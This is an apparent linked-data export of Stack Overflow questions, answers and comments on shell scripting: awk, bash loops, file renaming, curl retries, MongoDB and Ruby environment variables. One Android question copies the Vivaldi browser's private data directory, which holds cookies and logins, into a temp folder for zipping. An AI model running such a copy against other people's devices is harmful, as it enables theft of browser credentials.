comment on: http://stackoverflow.com/q/76600353
type: QuestionComment

http://stackoverflow.com/comment/135193012
has text: (btw, is there a reason to use the `paste` command here at all, as opposed to processing your input files individually?)
score: 0
comment on: http://stackoverflow.com/q/76681562
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135162256
type: QuestionComment
has text: You can pass the variable to awk using `awk -v awk_var_name="$bash_var_name" ...` and then use it as `awk_var_name` (no `$`!) inside the (single quoted) awk script.
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76663322

http://stackoverflow.com/comment/135193022
type: QuestionComment
type: Comment
has text: Anything can be "one command line"; you can fit as many lines of code into one command as you want; it's much better to focus on readable, maintainable code than how many lines it is.
comment on: http://stackoverflow.com/q/76681562
score: 0

http://stackoverflow.com/comment/135188211
comment on: http://stackoverflow.com/q/76582602
score: 0
type: QuestionComment
has text: Is the name of the file being copied `'file'` or `file`? In the latter case, do we always have single quotes to delimit the file name? How is then a file name represented, which has a single quote as part of the name?
type: Comment

http://stackoverflow.com/comment/135095891
score: 0
comment on: http://stackoverflow.com/q/76622495
type: QuestionComment
type: Comment
has text: You might add that to the `.zshrc` fragment in the question, then.

http://stackoverflow.com/comment/135093217
type: Comment
comment on: http://stackoverflow.com/q/76621621
has text: I have a sheban, the script works fine for other modules, this module is the issue
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135092909
has text: I modified the script, to iterate correctly however the last field is being ignored since there is no , after it and I still am unable to eval and assign the variable to value dynamically.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76621621

http://stackoverflow.com/comment/134977082
has text: run your script in debug mode (bash -x script), that will help to find out a problematic part
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76552603

http://stackoverflow.com/comment/134967611
comment on: http://stackoverflow.com/q/76548917
type: QuestionComment
has text: Please revise your question. Based on what I THINK you want to do, your script is fine, but I don't understand what the actual problem is.
type: Comment
score: 0

http://stackoverflow.com/comment/134964853
type: QuestionComment
comment on: http://stackoverflow.com/q/76546737
type: Comment
has text: Yes, mailing.sh should read the output of checking_file.sh
score: 0

http://stackoverflow.com/q/76585150
has comment: http://stackoverflow.com/comment/135029797
tagged with: prefix-operator
downvote count: 1
answer count: 2
has comment: http://stackoverflow.com/comment/135029810
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135029828
upvote count: 1
has answer: http://stackoverflow.com/a/76585278
favorite count: 0
tagged with: python
has body: I have multiple directories 1111, 2222, 3333, 4444 and inside each directory is subdirectory named as for example _apple. I want to add the parent folder name as prefix to the sub directory. What I have is 1111 _apple 2222 _apple 3333 _apple what I want is 1111 1111_apple 2222 2222_apple 3333 3333_apple Please if anyone can help ? I tried this but it works for only 1st file and does not iterate. I have more than 100 directories and it works only for 1st one. for folder in */; do for sample_num in */; do cd $sample_num sample="${sample_num::-1}" for rename in _apple; do mv -- "$rename" "{$sample}_{$rename}" done cd .. cd .. done
has comment: http://stackoverflow.com/comment/135071929
score: 0
tagged with: file-rename
has answer: http://stackoverflow.com/a/76585185
type: UnansweredQuestion
has title: Renaming multiple subdirectories with the name of parent directory as prefix
tagged with: bash

http://stackoverflow.com/comment/135130191
score: 2
has text: What happens if you try `calc -- "-V * V"`? `--` is a common convention (established by POSIX) which says `--` is the last option argument; all arguments which follow are non-option arguments. Whatever argument parser you are using might support that.
type: QuestionComment
comment on: http://stackoverflow.com/q/76644366
type: Comment

http://stackoverflow.com/comment/135029528
comment on: http://stackoverflow.com/a/76577017
has text: Sorry, it was a buggy solution. I made an improvement.
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135081160
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76587890
has text: If you only need to use that variable in that one recipe, you probably shouldn't use a make variable at all. Just use a shell variable.

http://stackoverflow.com/comment/135150654
has text: Extract a [mcve] please. Also, read the description of the tags you applied. You can [edit] your question to fix both issues.
score: 0
comment on: http://stackoverflow.com/q/76656090
type: QuestionComment
type: Comment

http://stackoverflow.com/q/76594215
tagged with: android
downvote count: 0
tagged with: bash
score: 1
has title: Cant copy file with cp on Android, Skipped, Cross-device link
tagged with: cp
has body: The task is to copy to temp folder some data and then operate with it. The command cp /data/data/com.vivaldi.browser/app_chrome/ /data/local/tmp/zip gives cp: Skipped dir '/data/local/tmp/zip/': Cross-device link I read that cp cant copy to another device but it is the same volume "data". Whats wrong? How can i do this? P.S. I use cp because i need to copy more than 1 file at one command, without for cycle
type: Question
tagged with: shell
answer count: 0
type: UnansweredQuestion
upvote count: 1
favorite count: 0

http://stackoverflow.com/comment/135134771
score: 0
has text: Lots of bashisms in here which are expected to cause problems if this code is run with `sh` (and the above notes that `sh` is the usual default are spot-on). As it is, though, we really need a [mre] for any bash-tag denizen to solve this -- you can't expect people to install bitbucket for the sake of answering one question.
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76552603

http://stackoverflow.com/comment/135119210
type: AnswerComment
comment on: http://stackoverflow.com/a/76638142
has text: I already fixed the tag for them, didn't notice the title error.
score: 0
type: Comment

http://stackoverflow.com/comment/135030495
comment on: http://stackoverflow.com/a/76579913
has text: @glennjackman, thanks for you pointing out the potential problems, regarding the filename's whitespace and non-posix compatible issues. I've seen that link many times in years ago since I learned the bash programming from [Advanced Bash Programming](https://tldp.org/LDP/abs/html/), however remember the prerequisite, s/he is using `ksh` and `TXT=*.txt` to specify files, this is the simplest solution for the original codes.
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135092361
comment on: http://stackoverflow.com/q/76621621
has text: Don't use a shell loop for this, see [why-is-using-a-shell-loop-to-process-text-considered-bad-practice](https://unix.stackexchange.com/questions/169716/why-is-using-a-shell-loop-to-process-text-considered-bad-practice).
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135086133
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76617551
has text: Might the `-w`/`--write-out` argument be useful for this?
type: Comment

http://stackoverflow.com/comment/134990376
score: 1
type: QuestionComment
type: Comment
has text: Please [format your code properly](https://stackoverflow.com/help/formatting). As it is at the moment, it is virtually unreadible.
comment on: http://stackoverflow.com/q/76562116

http://stackoverflow.com/comment/135091976
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76621621
has text: Everything inside the `while` loop is being run in a subshell, so none of the variable assignments persist in the main shell. See https://stackoverflow.com/questions/2746553/read-values-into-a-shell-variable-from-a-pipe

http://stackoverflow.com/comment/135013280
has text: Ahhh, I see what you mean, although I think it would be more clear if you had said, 'Bash array variables are a construct specific to bash, and not valid POSIX environment variables. This places a restriction on their [ex]portability.' Thank you for the speedy informative link!
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76575510

http://stackoverflow.com/comment/135140390
type: Comment
score: 0
type: QuestionComment
has text: I am trying to replace that line with $muCH4_1 !Methane, where $muCH4_1 is a variable the shell script takes from a different .dat file
comment on: http://stackoverflow.com/q/76650830

http://stackoverflow.com/comment/135057288
type: Comment
comment on: http://stackoverflow.com/q/76601045
has text: As first step I suggest to use `date +'%s' -r file.txt` with GNU date.
score: 3
type: QuestionComment

http://stackoverflow.com/comment/134996935
has text: just to be sure, you are on a linux system, right?
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76566011

multipass
tags question: http://stackoverflow.com/q/76620855
tag name: multipass
type: Tag

http://stackoverflow.com/a/76592769
downvote count: 0
has body: $ cat main_file lines here another line Include 'file1' include 'file2' include 'file3 with spaces' endoffile $ grep -i "^include " main_file | xargs -n2 sh -c '[ -f "$1" ] && cp "$1" dir1/' $ ls dir1 file1 file2 'file3 with spaces'
type: Answer
answers question: http://stackoverflow.com/q/76582602
score: 1
upvote count: 1

http://stackoverflow.com/q/76552603
has comment: http://stackoverflow.com/comment/134973972
has comment: http://stackoverflow.com/comment/134977082
has comment: http://stackoverflow.com/comment/134974768
has comment: http://stackoverflow.com/comment/134976039
score: 0
type: Question
tagged with: shell
has comment: http://stackoverflow.com/comment/135134771
has body: Other posts here on SO about that error message are all about a missing whitespace or ; but it seems not to be the case for my code. Unfortunately I can't even tell on which line it is because Bitbucket gives me a too high line number. Shellcheck seems to pass for this code, so I am lost here. Context: $Foo is a pipeline variable with a default, so should always have at least some value. The middle part is just joining of a shell string array: https://stackoverflow.com/a/2317171/4125622 script: - > declare -a appsArr if [ $Foo == 'deploy' ]; then appsArr+=("foo"); fi if [ ${#appsArr[@]} ]; then AppsJoined=$(printf ", %s" "${appsArr[@]}") AppsFinal=${AppsJoined:1} fi if [ -z "$AppsFinal" ]; then echo "No apps selected, exiting..." exit 1 fi echo "Will build and deploy following apps:" mkdir tmp && echo "${AppsFinal}" |& tee tmp/bar.txt
has title: Bitbucket bash script - Syntax error near unexpected token `then`
has comment: http://stackoverflow.com/comment/134973993
answer count: 0
tagged with: bitbucket
linked to: http://stackoverflow.com/q/1527049
tagged with: bash
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/134973843

http://stackoverflow.com/comment/135163134
comment on: http://stackoverflow.com/q/76663609
type: QuestionComment
type: Comment
has text: Everything you pass to ssh as a positional argument gets concatenated together into a single string, and that single string is passed to a shell. A space that's contained _within_ an argument and a space created by the act of joining arguments have exactly the same priority; it has all the same bugs as a script containing only `eval "$*"` or `sh -c "$*"`.
score: 0

http://stackoverflow.com/comment/135246147
has text: Are you missing a line or two of code in that Python sniper? What is `db`? By default you'll be in the `test` database when you log in with the shell. You can `use <DBNAME>` to change it after connected. If `test` is empty and your Python code is using a different database then that would explain the discrepancy that you are observing
type: QuestionComment
comment on: http://stackoverflow.com/q/76710355
score: 0
type: Comment

http://stackoverflow.com/comment/135014974
type: QuestionComment
score: 0
type: Comment
comment on: http://stackoverflow.com/q/76555096
has text: Besides other improvements, first see the difference when you remove all `$` characters from `INFA.param`. After that read the above comments again.

http://stackoverflow.com/comment/135135402
type: AnswerComment
comment on: http://stackoverflow.com/a/76639116
has text: You are absolutely correct, the wording is misleading, and kudos for pointing it out and reporting it. *Always test!*
type: Comment
score: 0

http://stackoverflow.com/comment/135187677
has text: None of those solutions have anything to with the error. Evidently python is not installed, or perhaps is not in the PATH for the www user account.
score: 0
comment on: http://stackoverflow.com/q/76678493
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/134987721
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76560632
has text: @Jetchisel, I didn't retain my own copy, which is a damned shame -- I actually did get a signed letter granting the ability to relicense a bunch of things I wrote there under a trio of OSS licenses, but I'd have to actually have a copy of the code to make any use of it.
type: QuestionComment

http://stackoverflow.com/comment/135140779
has text: Also, please don't tag this bash **and** zsh, and focus on a single shell. Maybe if you find the problem in one - say: bash -, you will be able to figure out the solution for the other one as well.
comment on: http://stackoverflow.com/q/76643341
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/q/76655946
tagged with: python
tagged with: bash
tagged with: powershell
answer count: 1
has title: Bash not recognized — impossible to execute compilation script in shell
favorite count: 0
has comment: http://stackoverflow.com/comment/135150053
has answer: http://stackoverflow.com/a/76656055
score: -1
has body: Impossible to compile shell script with bash because "The term "bash" is not recognized as the name of a cmdlet, function, script file, or executable program." I am currently facing an issue when trying to compile a shell script using Visual Studio Code on Windows. I followed the instructions provided, but I keep getting errors. I tried using the "bash" and "sh" commands in the built-in terminal, but neither of them seem to be recognized as a valid command. Here is my code: #!/bin/ch echo "Compilando MixMaster MOD" gcc -shared -w -m32 -pthread -Wall -static Injection.cpp Script.cpp CScriptManager.cpp CMemory.cpp CHookManager.cpp CEventsHandler.cpp liblua52.a -ldl -o ../Injection.so -masm=intel Here is the basic command I use in the built-in compiler terminal: bash compile.sh However, I get an error message stating: "The term "bash" is not recognized as the name of a cmdlet, function, script file, or executable program."
type: Question
upvote count: 0
tagged with: shell
has comment: http://stackoverflow.com/comment/135158129
downvote count: 1
has comment: http://stackoverflow.com/comment/135149604
type: UnansweredQuestion

http://stackoverflow.com/comment/135230555
comment on: http://stackoverflow.com/q/76553763
score: 0
has text: `Retrieve AWS EMR clusters with name, ... and step ID` What step ID do you mean? There may be multiple steps.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135063404
comment on: http://stackoverflow.com/q/76602700
type: QuestionComment
type: Comment
has text: What's the point in Running Python in the background? I would remove the `&`, and also have `main.py` printing something to stdout, so that you can see that the program is being executed.
score: 0

http://stackoverflow.com/comment/135119194
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76638142
score: 0
has text: @CharlesDuffy The first line of the question says they're using `zsh` -- that's the default shell on MacOS. And the error message they're getting is particular to zsh.

http://stackoverflow.com/comment/139282916
type: Comment
has text: @bagsmode Did you logout and log back in after changing the file? If not, the old alias is still there.
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76638142

http://stackoverflow.com/q/76544842
answer count: 1
has answer: http://stackoverflow.com/a/76545022
has body: I have a script to set routes to the routing table and open an application. It works fine and does the job. The challenge is that some of the commands need sudo privileges and thus when I run the script I am asked to enter my password multiple times. How can I make the script ask only once for the password? See an excerpt of the code here: -- delete current routes and store output in variable set del1 to do shell script "sudo route delete " & MyURL_IP set del2 to do shell script "sudo route delete " & MyURL_IP2 beep -- one beep for deleting the routes first -- add new routes to table and store output in variable set add1 to do shell script "sudo route -nv add " & MyURL_IP & " " & IPAdrGatway & "| grep 'add host'" set add2 to do shell script "sudo route -nv add " & MyURL_IP2 & " " & IPAdrGatway & "| grep 'add host'" beep -- one beep for adding new routes -- create and write to logfile on desktop with timestamp set the logFile to ((path to desktop) as text) & "RouteAirmail.log.txt" try open for access file the logFile with write permission write (return & (current date) & return) to file the logFile starting at eof write (del1 & return & del2 & return & add1 & return & add2 & return) to file the logFile starting at eof close access file the logFile on error try close access file the logFile end try end try Those commands require to enter the pwd: password request when deleting existing routes when adding routes when writing to log file I have tried different options, e.g. run everything as a shell script, but seems not so elegant to me.
score: -1
has comment: http://stackoverflow.com/comment/134961031
type: UnansweredQuestion
tagged with: applescript
has title: Multiple shell commands in applescript - how to ask for password only once?
tagged with: sudo
favorite count: 0
downvote count: 1
type: Question
tagged with: macos
upvote count: 0
tagged with: shell

node.js
tag name: node.js
tags question: http://stackoverflow.com/q/76606220
type: Tag
tags question: http://stackoverflow.com/q/76679712
tags question: http://stackoverflow.com/q/76778171
tags question: http://stackoverflow.com/q/76793211
tags question: http://stackoverflow.com/q/77051289
tags question: http://stackoverflow.com/q/76967366
tags question: http://stackoverflow.com/q/77021831
tags question: http://stackoverflow.com/q/77218203
tags question: http://stackoverflow.com/q/77275139
tags question: http://stackoverflow.com/q/77488707
tags question: http://stackoverflow.com/q/77588124
tags question: http://stackoverflow.com/q/77803827
tags question: http://stackoverflow.com/q/77821417
tags question: http://stackoverflow.com/q/78042350
tags question: http://stackoverflow.com/q/78307720
tags question: http://stackoverflow.com/q/78215086
tags question: http://stackoverflow.com/q/78307692
tags question: http://stackoverflow.com/q/78685925
tags question: http://stackoverflow.com/q/78751726
tags question: http://stackoverflow.com/q/79057828
tags question: http://stackoverflow.com/q/79182461
tags question: http://stackoverflow.com/q/79155445

http://stackoverflow.com/a/78534484
has body: I just used this method to solve the problem: URL="[The_URL]" RETRY_DELAY=5 LOG_FILE="dl.log" log_message() {echo "$(date '+%H:%M:%S') - $1" | tee -a "$LOG_FILE"} while true; do log_message "Attempting to download..." curl -C - -O "$URL" > /dev/null if [ $? -eq 0 ]; then log_message "Download completed successfully." exit 0 else log_message "Download failed. Retrying in $RETRY_DELAY seconds..." sleep $RETRY_DELAY fi done The log file contains detailed information that can be used to verify the correct execution and performance of the code.
has comment: http://stackoverflow.com/comment/138465293
answers question: http://stackoverflow.com/q/76626472
type: Answer
score: 0

http://stackoverflow.com/comment/135111907
has text: I get the expected output using the same command line. What's your locale setting? Run the `locale` command and show the output.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/76633664
score: 0

adb
type: Tag
tag name: adb
tags question: http://stackoverflow.com/q/76631662
tags question: http://stackoverflow.com/q/76755757
tags question: http://stackoverflow.com/q/76768345
tags question: http://stackoverflow.com/q/76930863
tags question: http://stackoverflow.com/q/77014844
tags question: http://stackoverflow.com/q/76951169
tags question: http://stackoverflow.com/q/77319116
tags question: http://stackoverflow.com/q/77464976
tags question: http://stackoverflow.com/q/77456050
tags question: http://stackoverflow.com/q/77524261
tags question: http://stackoverflow.com/q/77841168
tags question: http://stackoverflow.com/q/78071285
tags question: http://stackoverflow.com/q/78748228
tags question: http://stackoverflow.com/q/78789477
tags question: http://stackoverflow.com/q/79065440
tags question: http://stackoverflow.com/q/79033853
tags question: http://stackoverflow.com/q/78955873

http://stackoverflow.com/comment/135004833
comment on: http://stackoverflow.com/q/76570156
type: Comment
score: 0
has text: Thanks , I have corrected my data.json file, and I can see correct values in the jqplay, but when I execute it in the shell , jq '<command>' data.json I'm getting the following erro ``` jq: error (at data.json:22): Invalid path expression near attempt to access element "state" of {"node":"10.13.248.254:610....
type: QuestionComment

http://stackoverflow.com/comment/134992161
has text: `line = rplc(line,4,"\""$2"\"")` or edit the function to add the double quotes if you always need them `flds[tgt] = "\"" val "\""`
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76552229
score: 1

http://stackoverflow.com/comment/135051702
has text: I'd just 'rsync' files and that's it
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76597912

http://stackoverflow.com/a/76583540
answers question: http://stackoverflow.com/q/76579841
score: 0
has body: For people who are in the same case, I finally found what's going on. When moving the newly built ruby folder (which contains bin/lib/include/share), I broke ruby LOAD_PATH which is responsible for loading dependencies including rubygems. Just by setting RUBYLIB environment variable that points to the new ruby folder, all problems were resolved. As an example, by running ruby -e 'puts $LOAD_PATH' I got: ${OLD_RUBY_FOLDER}/lib/ruby/site_ruby/3.2.0 ${OLD_RUBY_FOLDER}/lib/ruby/site_ruby/3.2.0/arm64-darwin22 ${OLD_RUBY_FOLDER}/lib/ruby/site_ruby ${OLD_RUBY_FOLDER}/lib/ruby/vendor_ruby/3.2.0 ${OLD_RUBY_FOLDER}/lib/ruby/vendor_ruby/3.2.0/arm64-darwin22 ${OLD_RUBY_FOLDER}/lib/ruby/vendor_ruby ${OLD_RUBY_FOLDER}/lib/ruby/3.2.0 ${OLD_RUBY_FOLDER}/lib/ruby/3.2.0/arm64-darwin22 To fix, I set my RUBYLIB environment variable to: export RUBYLIB=${NEW_RUBY_FOLDER}/lib/ruby/site_ruby/3.2.0:${NEW_RUBY_FOLDER}/lib/ruby/site_ruby/3.2.0/arm64-darwin22:${NEW_RUBY_FOLDER}/lib/ruby/site_ruby:${NEW_RUBY_FOLDER}/lib/ruby/vendor_ruby/3.2.0:${NEW_RUBY_FOLDER}/lib/ruby/vendor_ruby/3.2.0/arm64-darwin22:${NEW_RUBY_FOLDER}/lib/ruby/vendor_ruby:${NEW_RUBY_FOLDER}/lib/ruby/3.2.0:${NEW_RUBY_FOLDER}/lib/ruby/3.2.0/arm64-darwin22 As my goal is call ruby through command line directly from my MacOS app, I just have to configure RUBYLIB environment variable in my process to make it work.
type: Answer

http://stackoverflow.com/comment/135196499
type: Comment
comment on: http://stackoverflow.com/q/76682292
has text: @CharlesDuffy - I don't understand your 3rd and 4th comments. How does one redirect stdin from `/dev/null`? `/dev/null > /dev/stdin` ?
type: QuestionComment
score: 0

http://stackoverflow.com/comment/135196221
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76683610
type: Comment
has text: Please don't use screen grab images for simple text. Just copy/paste the text.

http://stackoverflow.com/comment/135137843
type: QuestionComment
score: 0
type: Comment
has text: Your xpath expression seems just fine. Using either `xmllint --xpath` or the `xpath` program from Perl's `XML::XPATH` module, your expression returns `'/Volumes/bootfs 1`.
comment on: http://stackoverflow.com/q/76649342

http://stackoverflow.com/comment/135211047
type: Comment
score: 1
comment on: http://stackoverflow.com/q/76692218
has text: @DiegoTorresMilano the GNU version of `getopt` supports long options, but other versions don't, making it a compatibility nightmare. See [Complex Option Parsing on Greycat's BashFAQ](http://mywiki.wooledge.org/ComplexOptionParsing).
type: QuestionComment

automation
type: Tag
tags question: http://stackoverflow.com/q/76690391
tags question: http://stackoverflow.com/q/76689787
tag name: automation
tags question: http://stackoverflow.com/q/76788743
tags question: http://stackoverflow.com/q/76907867
tags question: http://stackoverflow.com/q/77046907
tags question: http://stackoverflow.com/q/77411028
tags question: http://stackoverflow.com/q/77762334
tags question: http://stackoverflow.com/q/77901350
tags question: http://stackoverflow.com/q/77998471
tags question: http://stackoverflow.com/q/78149316
tags question: http://stackoverflow.com/q/78311698
tags question: http://stackoverflow.com/q/78614903
tags question: http://stackoverflow.com/q/78881686
tags question: http://stackoverflow.com/q/78944308
tags question: http://stackoverflow.com/q/79201762
tags question: http://stackoverflow.com/q/79356217

http://stackoverflow.com/q/76579691
has title: Click event on button menu appshell maui
upvote count: 1
favorite count: 0
tagged with: events
downvote count: 0
type: Question
has comment: http://stackoverflow.com/comment/135030431
tagged with: shell
type: UnansweredQuestion
score: 1
has body: I want to trigger an event when a user click on this button : This displays a burger menu using an AppShell with MAUI. There is the code of the AppShell : <Shell x:Class="NoaMobileApp.AppShell" xmlns="http://schemas.microsoft.com/dotnet/2021/maui" xmlns:x="http://schemas.microsoft.com/winfx/2009/xaml" xmlns:toolkit="http://schemas.microsoft.com/dotnet/2022/maui/toolkit" xmlns:Usersviews="clr-namespace:NoaMobileApp.Pages.UsersPages.TransportBB_Pages.View" xmlns:iconFont="clr-namespace:NoaMobileApp.Helpers.IconFont" xmlns:localization="clr-namespace:NoaMobileApp.Extensions.Localization" xmlns:models="clr-namespace:NoaMobileApp.Pages.Main_Pages.ViewModel" xmlns:views="clr-namespace:NoaMobileApp.Pages.Main_Pages.View" x:DataType="models:AppShellViewModel" NavigationPage.HasBackButton="False" NavigationPage.HasNavigationBar="False" Shell.FlyoutBehavior="Flyout" Shell.NavBarIsVisible="False" Shell.TabBarIsVisible="False"> <Shell.FlyoutHeader> <Image Aspect="Fill" HeightRequest="100" Source="source.svg" /> </Shell.FlyoutHeader> <ShellContent Title="LoadingPage" ContentTemplate="{DataTemplate views:LoadingPage}" FlyoutItemIsVisible="False" NavigationPage.HasNavigationBar="False" Route="LoadingPage" Shell.FlyoutBehavior="Disabled" Shell.NavBarIsVisible="False" /> </Shell> And the viewmodel : public partial class AppShellViewModel : ObservableObject { [ObservableProperty] public string name = string.Empty; [RelayCommand] async void SignOut() { SecureStorage.Default.Remove("_authentificationToken"); await AppShell.Current.GoToAsync($"//{nameof(LoginPage)}"); } } I tried to use the Appearing event but it is triggered when the app is launched Any idea for this ?
tagged with: maui
tagged with: viewmodel
answer count: 0

http://stackoverflow.com/comment/135044161
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76593228
has text: @Barmar "If it lacked ? then it wouldn't match at all." - no. `sed` lacks support of lazy quantifiers, but their presence doesn't break matching: it simple disregards question mark after quantifier, and proceeds with greedy one. Consider this [demo](https://ideone.com/6wljQQ)

http://stackoverflow.com/comment/135153217
has text: `grep "$selva"` doesn't filter lines containing the name "selva". Do you have an env var `selva` defined? Among the remote branches filtered with `grep` are you sure there're branches which have commits within last 30 days?
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76657149

http://stackoverflow.com/q/76710355
has comment: http://stackoverflow.com/comment/135311503
tagged with: python
score: 0
type: Question
tagged with: pymongo
has comment: http://stackoverflow.com/comment/135247660
has body: I have a Mongo DB and I'm trying to access to it though mongo shell. mongosh --host 192.168.1.25 --port 27017 -u user -p pass I can log in with no problems and I can see the databases on the server but when I try seeing the collections I receive empty arrays. test > show databases <Databases listed correctly> test > use rightdatabase rightdatabase > show collections rightdatabase > db.getCollectionNames() [] The output of db.stats also suggest the databases are empty (every parameter of the response is 0). However, if I log in through PyMongo like this, I get a proper result: from pymongo import MongoClient try: conn = MongoClient('192.168.1.25', 27017, username='user', password='pass') print('Conected successfully!') except: print('Could not conect to MongoDB') db = conn['rightdatabase'] db.command("dbstats") That cell returns the following data: #Output {'db': '######', 'collections': 16, 'views': 0, 'objects': 52283952, 'avgObjSize': 1349.6649228237375, 'dataSize': 70565816041.0, 'storageSize': 23785156608.0, ...} I've read comments saying that it could be a matter of versions. I'm using Mongo shell alone in Windows (not the one included in a Mongo Server installation), version 1.10.1, but I've done this before in the same computer with no issues.
type: UnansweredQuestion
has title: show collections on Mongo shell returns nothing but it works on Pymongo
has comment: http://stackoverflow.com/comment/135246147
answer count: 0
has comment: http://stackoverflow.com/comment/135283575
tagged with: shell
tagged with: mongodb

http://stackoverflow.com/comment/135038844
type: Comment
comment on: http://stackoverflow.com/q/76590436
score: 0
has text: Relevant: [Linux bash/grep extract word from matching string](https://stackoverflow.com/questions/69665960/linux-bash-grep-extract-word-from-matching-string) -- though personally I'd use awk or `$string =~ $regex ` and `$BASH_REMATCH`.
type: QuestionComment

http://stackoverflow.com/a/76688177
answers question: http://stackoverflow.com/q/76679026
score: 0
has body: we have: curl -s https://www.url.com | grep -Eo '/news/[^ &gt;]+' then, we can add a sed: curl -s https://www.url.com | grep -Eo '/news[^ &gt;]+' \ | sed 's|^|https://www.url.com/|'
type: Answer

http://stackoverflow.com/comment/135092423
has text: are you using a logging framework such as log4j, logback, or any other logger? In that case you can setup your logger and make the logs of the app (I guess it's built on top of Play Framework) go anywhere you want (standard output, file, etc).
type: QuestionComment
comment on: http://stackoverflow.com/q/76621052
score: 2
type: Comment

matlab
tag name: matlab
type: Tag
tags question: http://stackoverflow.com/q/76551048
tags question: http://stackoverflow.com/q/78482634

http://stackoverflow.com/a/76668361
answers question: http://stackoverflow.com/q/76668316
downvote count: 0
accepted answer of: http://stackoverflow.com/q/76668316
type: Answer
score: 4
upvote count: 4
has body: Inside docker compose yaml you cannot invoke shell commands by $( ...command... ). You have to apply the following approach (which I used many times): docker compose yaml services: bar: build: args: GROUP_ID: &quot;${MY_GROUP_ID}&quot; build script MY_GROUP_ID=$(id -g) MY_GROUP_ID=${MY_GROUP_ID} docker-compose build ...some_arguments...
has comment: http://stackoverflow.com/comment/137983451
type: AcceptedAnswer

systemd
tag name: systemd
tags question: http://stackoverflow.com/q/76578209
type: Tag
tags question: http://stackoverflow.com/q/78114651

http://stackoverflow.com/comment/135012728
comment on: http://stackoverflow.com/q/76574631
type: QuestionComment
score: 0
has text: I suggest: [Schwartzian transform](https://en.wikipedia.org/wiki/Schwartzian_transform)
type: Comment

http://stackoverflow.com/comment/135080707
type: Comment
comment on: http://stackoverflow.com/q/76615031
score: 0
type: QuestionComment
has text: I am starting it from the command line, with shebang set to #!/usr/bin/tclsh.

http://stackoverflow.com/comment/135025906
score: 0
comment on: http://stackoverflow.com/q/76582602
has text: With `GNU` sed: `sed -n 's/$include/cp /I; tx; d; :x; s/$/ dir1/; e' main_file`
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135177456
comment on: http://stackoverflow.com/q/76669795
type: QuestionComment
has text: If you need no further assistance, please either provide an answer or remove the question.
type: Comment
score: 2

http://stackoverflow.com/comment/135172699
type: Comment
has text: Does this answer your question? [Linux modules version error "Invalid module format"](https://stackoverflow.com/questions/30341496/linux-modules-version-error-invalid-module-format)
score: 0
comment on: http://stackoverflow.com/q/76669426
type: QuestionComment

http://stackoverflow.com/comment/135019200
type: AnswerComment
comment on: http://stackoverflow.com/a/76578437
score: 1
has text: The requirement that environment variables be plain strings is *not* a shell restriction, it's how they're implemented in the OS. Even in `fish`, it doesn't actually store arrays in env variables, it converts the exported arrays to plain strings and stores those as env variables. For example, `set -gx FOO "foo bar" "baz quux"` actually creates an env variable `FOO` with the value "foo bar baz quux" (with no distinction between spaces *between* elements vs spaces *within* elements).
type: Comment

http://stackoverflow.com/comment/135222405
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76699173
has text: I'd also suggest using `stat --format` or `find -printf` instead of `ls | awk` when all you want is to read file size; no reason to print data you don't care about and then discard it, when you could only get what you want in the first place.

http://stackoverflow.com/a/76578437
has comment: http://stackoverflow.com/comment/135025162
downvote count: 1
answers question: http://stackoverflow.com/q/76575510
has comment: http://stackoverflow.com/comment/135027547
has body: TL;DR This issue is largely shell-specific, and is casued by the fact that most shells require environment variables to be strings rather than arrays. With many shells, that makes shell arrays inaccessible via Ruby's ENV module. Exported arrays from Fish can be accessed through ENV as indexed arrays, but Fish currently has no explicit support for associative arrays. On the other hand, Bash supports both types of arrays but doesn't appear to export arrays to the environment at all even though the syntax allows for it. To make matters worse, export FOO=(foo bar baz) won't return a non-zero exit status. As a result, you can't directly access Bash arrays through Ruby's ENV module although workarounds exist. Skip to the end if you just want to see my preferred solution using ARGV, but I think the other approaches I discuss first have their own merits and potential utility value. In other words, if you really need access through Ruby's ENV rather than ARGV, you may need to pass the definition of the array into your environment rather than accessing the shell array directly. That's why I talk through those approaches first. Indexed Arrays in Fish In the Fish shell, all variables are intrinsically arrays anyway, so you can do something like: set -gx FOO foo bar baz ruby -e 'p ENV["FOO"]; p ENV["FOO"].split.last' and get sensible results, but it's essentially up to you to split the strings or understand how the values are encoded by such shells to find your preferred index or treat multi-word shellwords as separate array elements. Your question wasn't about the Fish shell, but I thought it provided a useful illustration of the fact that shell arrays are (by definition) handled in shells-specific ways, so you might need to take that into account if you must do this through environment variables. For Bash and Zsh, there are definitely better approaches than relying on the direct export of a shell array to the environment, but in most cases you simply shouldn't rely on Ruby's E…
upvote count: 1
type: Answer
score: 0
has comment: http://stackoverflow.com/comment/135019200

http://stackoverflow.com/comment/135051430
has text: Please paste your script at [shellcheck.net](http://www.shellcheck.net/).
type: QuestionComment
type: Comment
score: 1
comment on: http://stackoverflow.com/q/76597912

http://stackoverflow.com/comment/135082566
